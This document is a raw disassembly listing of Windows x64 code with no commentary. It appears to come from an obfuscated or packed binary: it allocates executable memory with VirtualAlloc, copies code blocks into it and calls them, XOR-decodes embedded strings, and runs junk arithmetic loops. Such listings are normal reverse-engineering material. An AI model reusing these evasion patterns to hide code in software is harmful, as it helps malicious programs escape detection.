mov rax, qword [rdi + rcx*8 + 0x38310]
test rax, rax
jne 0x140011e83
jmp 0x140011eac
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x39930]
test r8, r8
jne 0x140011f8f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011ed3
mov r8, r12
jmp 0x140011f6e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011ee0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140038950]
mov qword [rdi + rax*8 + 0x38310], r13
mov qword [rdi + rax*8 + 0x39930], r8
inc rax
mov qword [0x140038950], rax
lea rdx, [rsp + 0x58]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0x568]
xor rcx, qword [rbp + 0x570]
mov qword [rbp + 0x568], rcx
mov rax, qword [rbp + 0x578]
mov qword [rax], rcx
mov rax, qword [0x14002de98]
mov qword [rsp + 0x50], rax
cmp byte [0x14002de9f], 0
je 0x140012224
cmp r15d, 2
jl 0x1400121c8
movdqa xmm7, xmmword [0x14002e790]
mov r13d, 5
movd xmm8, r13d
movdqa xmm9, xmmword [0x14002e7b0]
mov eax, 6
movd xmm10, eax
mov eax, 0x1f
movd xmm12, eax
movdqa xmm5, xmmword [0x14002e710]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14002e740]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14002e730]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [0x14002e770]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x50]
pxor xmm3, xmm1
movd dword [rsp + 0x50], xmm3
movdqa xmm5, xmmword [0x14002e720]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14002e740]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14002e730]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x54]
pxor xmm3, xmm1
movd dword [rsp + 0x54], xmm3
xorps xmm7, xmm7
jmp 0x14001222a
lea r10, [rsp + 0x50]
mov r9d, r12d
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3e
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x1f
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x1400121d0
mov r13d, 5
lea r8, [rbp + 0x5c8]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x370]
call fcn.14001f7d0
nop
mov rcx, rax
call fcn.14001dd50
mov qword [rbp + 0x148], rax
lea rcx, [rbp + 0x580]
call fcn.1400026e0
lea rdx, [rbp + 0x5588]
lea rcx, [rbp + 0x580]
call fcn.1400026f0
nop
mov ecx, r12d
mov rax, qword [0x14003a8f0]
lea rbx, [0x14001f480]
test rax, rax
je 0x1400122b1
cmp rax, rbx
je 0x14001229e
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3a8f0]
test rax, rax
jne 0x140012288
jmp 0x1400122b1
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x392d0]
test r8, r8
jne 0x140012390
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400122d8
mov r8, r12
jmp 0x14001236f
mov rax, rbx
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400122e1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140037340]
mov qword [rdi + rax*8 + 0x3a8f0], rbx
mov qword [rdi + rax*8 + 0x392d0], r8
inc rax
mov qword [0x140037340], rax
lea rdx, [rbp + 0x148]
lea rcx, [0x14000c370]
call r8
nop
mov rcx, qword [rbp + 0x580]
xor rcx, qword [rbp + 0x588]
mov qword [rbp + 0x580], rcx
mov rax, qword [rbp + 0x590]
mov qword [rax], rcx
lea rcx, [rbp + 0x370]
call fcn.14001de90
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x4120]
call fcn.14001cf90
mov dword [rbp + 0x3e8], 0xffffff9c
mov dword [rbp + 0x3ec], 0x64
movaps xmm0, xmmword [0x14002e780]
movups xmmword [rbp + 0x488], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x40], xmm7
lea rcx, [rbp + 0x150]
call fcn.140001770
mov rax, qword [rbp + 0x150]
add rax, 0x5f5e100
mov qword [rbp - 0x78], rax
lea rcx, [rbp + 0x438]
call fcn.1400026e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x438], xmm0
mov qword [rbp + 0x448], r12
lea rcx, [rbp + 0x158]
call fcn.14001eed0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x38], rcx
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x438]
call fcn.14001cea0
nop
lea rcx, [rbp + 0x38]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x158]
call fcn.14001ce80
lea rcx, [rbp + 0x160]
call fcn.14001ef20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x40], rcx
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x438]
call fcn.14001cea0
nop
lea rcx, [rbp + 0x40]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x160]
call fcn.14001ce80
lea rcx, [rbp + 0x168]
call fcn.14001ef50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x48], rcx
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x438]
call fcn.14001cea0
nop
lea rcx, [rbp + 0x48]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x168]
call fcn.14001ce80
lea rcx, [rbp + 0x170]
call fcn.14001ef80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x50], rcx
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x438]
call fcn.14001cea0
nop
lea rcx, [rbp + 0x50]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x170]
call fcn.14001ce80
lea rcx, [rbp + 0x178]
call fcn.14001efb0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x438]
call fcn.14001cea0
nop
lea rcx, [rsp + 0x78]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x178]
call fcn.14001ce80
lea rcx, [rbp + 0x58]
call fcn.14001efe0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x80], rcx
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x438]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x80]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x58]
call fcn.14001ce80
lea rcx, [rbp + 0x60]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp - 0x78]
call fcn.140002690
test al, al
jns 0x140012912
lea rax, [rbp + 0x3e8]
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x4120]
mov qword [rsp + 0x68], rax
movaps xmm6, xmmword [rsp + 0x60]
mov esi, 0x186a0
nop dword [rax]
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x3e8]
call fcn.14001edd0
mov rbx, qword [rbp + 0x440]
sub rbx, qword [rbp + 0x438]
sar rbx, 3
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x3e8]
call fcn.14001edd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x438]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x3e8]
call fcn.14001edd0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x488]
call fcn.14001f010
movaps xmm5, xmm0
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x488]
call fcn.14001f010
movaps xmm1, xmm5
call fcn.140002540
movsd xmm1, qword [rsp + 0x40]
addsd xmm0, xmm1
movsd qword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x488]
call fcn.14001f010
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x488]
call fcn.14001f010
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x648]
call fcn.14001df00
nop
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x648]
call fcn.1400024b0
lea rcx, [rbp + 0x4a8]
call fcn.1400026e0
lea rcx, [rbp + 0x4a8]
call fcn.14001d060
nop
movdqa xmmword [rbp + 0x2c0], xmm6
lea r8, [rbp + 0x2c0]
mov rdx, qword [rbp + 0x4b0]
mov rcx, qword [rbp + 0x4a8]
call fcn.14001f090
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x4a8]
call fcn.1400025c0
mov rdx, qword [rbp + 0x4b0]
mov rcx, qword [rbp + 0x4a8]
call fcn.14001f0f0
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x3e8]
call fcn.14001edd0
mov ebx, eax
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x3e8]
call fcn.14001edd0
mov r8d, ebx
mov edx, eax
call fcn.1400026b0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400127e8
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x3e8]
test eax, eax
jne 0x14001280b
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14001281a
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov rdi, r13
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x3e8]
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x488]
call fcn.14001f010
movsd xmm5, qword [rsp + 0x40]
addsd xmm0, xmm5
movsd qword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x4120]
test bl, 1
jne 0x140012895
lea rcx, [rbp + 0x3e8]
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400128b6
movsd xmm5, qword [rsp + 0x40]
lea rcx, [rbp + 0x488]
call fcn.14001f010
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x40], xmm5
inc ebx
cmp ebx, 5
jl 0x140012830
sub rdi, 1
jne 0x140012820
lea rcx, [rbp + 0x4a8]
call fcn.14001d000
nop
lea rcx, [rbp + 0x648]
call fcn.14001de90
sub rsi, 1
jne 0x140012600
lea rcx, [rbp + 0x60]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp - 0x78]
call fcn.140002690
test al, al
js 0x1400125f4
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0x438]
call fcn.14001ced0
movups xmm0, xmmword [0x14002de48]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x14002de58]
movups xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [0x14002de68]
movups xmmword [rbp + 0x230], xmm0
movsd xmm0, qword [0x14002de78]
movsd qword [rbp + 0x240], xmm0
mov eax, dword [0x14002de80]
mov dword [rbp + 0x248], eax
movzx eax, word [0x14002de84]
mov word [rbp + 0x24c], ax
movzx eax, byte [0x14002de86]
mov byte [rbp + 0x24e], al
mov r9d, r12d
cmp r15d, 2
jl 0x140012baf
movdqa xmm9, xmmword [0x14002e710]
movdqa xmm6, xmmword [0x14002e790]
movd xmm10, r13d
movdqa xmm7, xmmword [0x14002e7b0]
mov eax, 6
movd xmm11, eax
movdqa xmm12, xmmword [0x14002e730]
movdqa xmm13, xmmword [0x14002e740]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x14002e770]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x210]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1400129f0
cmp r9d, 0x3f
jge 0x140012c14
movsxd rax, r9d
lea r10, [rbp + 0x210]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3e
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x1f
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x140012bc0
lea rax, [rbp + 0x210]
mov qword [rbp + 0x68], rax
lea rcx, [rbp + 0x450]
call fcn.1400026e0
lea rdx, [rbp + 0x5588]
lea rcx, [rbp + 0x450]
call fcn.1400026f0
nop
mov ecx, r12d
mov rax, qword [0x140038630]
lea rbx, [0x14001f480]
test rax, rax
je 0x140012c7e
cmp rax, rbx
je 0x140012c6b
inc ecx
mov rax, qword [rdi + rcx*8 + 0x38630]
test rax, rax
jne 0x140012c55
jmp 0x140012c7e
mov eax, ecx
mov r10, qword [rdi + rax*8 + 0x37ff0]
test r10, r10
jne 0x140012d5f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140012ca5
mov r10, r12
jmp 0x140012d3e
mov rax, rbx
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r14, 1
jne 0x140012cb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140037678]
mov qword [rdi + rax*8 + 0x38630], rbx
mov qword [rdi + rax*8 + 0x37ff0], r10
inc rax
mov qword [0x140037678], rax
lea rdx, [rbp + 0x68]
lea rcx, [0x14000c370]
call r10
nop
mov rcx, qword [rbp + 0x458]
xor rcx, qword [rbp + 0x450]
mov rax, qword [rbp + 0x460]
mov qword [rax], rcx
lea rcx, [rbp + 0x5c8]
call fcn.14001de90
nop
mov rax, qword [rbp + 0x508]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x5588]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x54b0]
xor rcx, rsp
call fcn.140029370
lea r11, [rsp + 0x5660]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret